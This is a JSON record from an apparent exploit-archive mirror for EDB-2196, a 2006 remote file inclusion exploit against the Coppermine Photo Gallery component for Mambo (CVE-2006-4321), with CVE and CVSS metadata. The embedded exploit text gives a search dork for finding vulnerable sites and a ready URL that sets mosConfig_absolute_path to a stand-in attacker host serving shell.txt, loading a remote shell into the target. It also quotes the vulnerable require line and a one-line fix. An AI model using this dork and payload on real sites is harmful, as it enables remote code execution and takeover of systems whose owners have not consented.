{"exploit":{"id":"EDB-2196","name":"Mambo Component CopperminePhotoGalery - Remote File Inclusion (RFI)","description":"Mambo Component CopperminePhotoGalery - Remote File Inclusion (RFI)","cves":["CVE-2006-4321"],"author":"k1tk4t","published":"2006-08-16","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2196","path":"exploits/php/webapps/2196.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2196.txt","vulnerabilities":[{"id":"CVE-2006-4321","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in cpg.php in the Coppermine Photo Gallery component (com_cpg) 1.0 and earlier for Mambo allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-4321","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-4321"},"updatedAt":"2024-08-07T19:06:07.255Z","retrievedAt":"2026-11-26T14:08:37.936Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2196.png?v=2","url":"https://exploitbin.com/exploits/EDB-2196","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2196/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2196/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"###########  CopperminePhotoGallery Component ###########\nFound By k1tk4t\nIndonesia\n\n  This bug allows a remote atacker to execute commands via RFI\n\nfile:\ncpg.php\n\nbug:\nrequire ($mosConfig_absolute_path.\"/administrator/components/com_cpg/config.cpg.php\");\n\n\n\npath:\nadd in cpg.php\ndefined( '_VALID_MOS' ) or die( 'hacking attemp.' );\n\ndork: inurl:com_cpg\n\nexpl:\nhtttp:/www.site.it/components/com_cpg/cpg.php?mosConfig_absolute_path=\n\nhttp://evil.xxx/shell.txt?\n\n\nthanks to\n\ne-c-h-o\nh4cky0u\nmilw0rm\ngoogle\n\n# milw0rm.com [2006-08-16]","sha256":"cd1f5ee81656e9c636a6ea4288a4bda67bb48c5ad1193902fb52b8f0b0f90c93","bytes":531,"fetchedAt":"2026-11-26T14:08:36.291Z","encoding":"utf-8 (display only; download retains original bytes)"}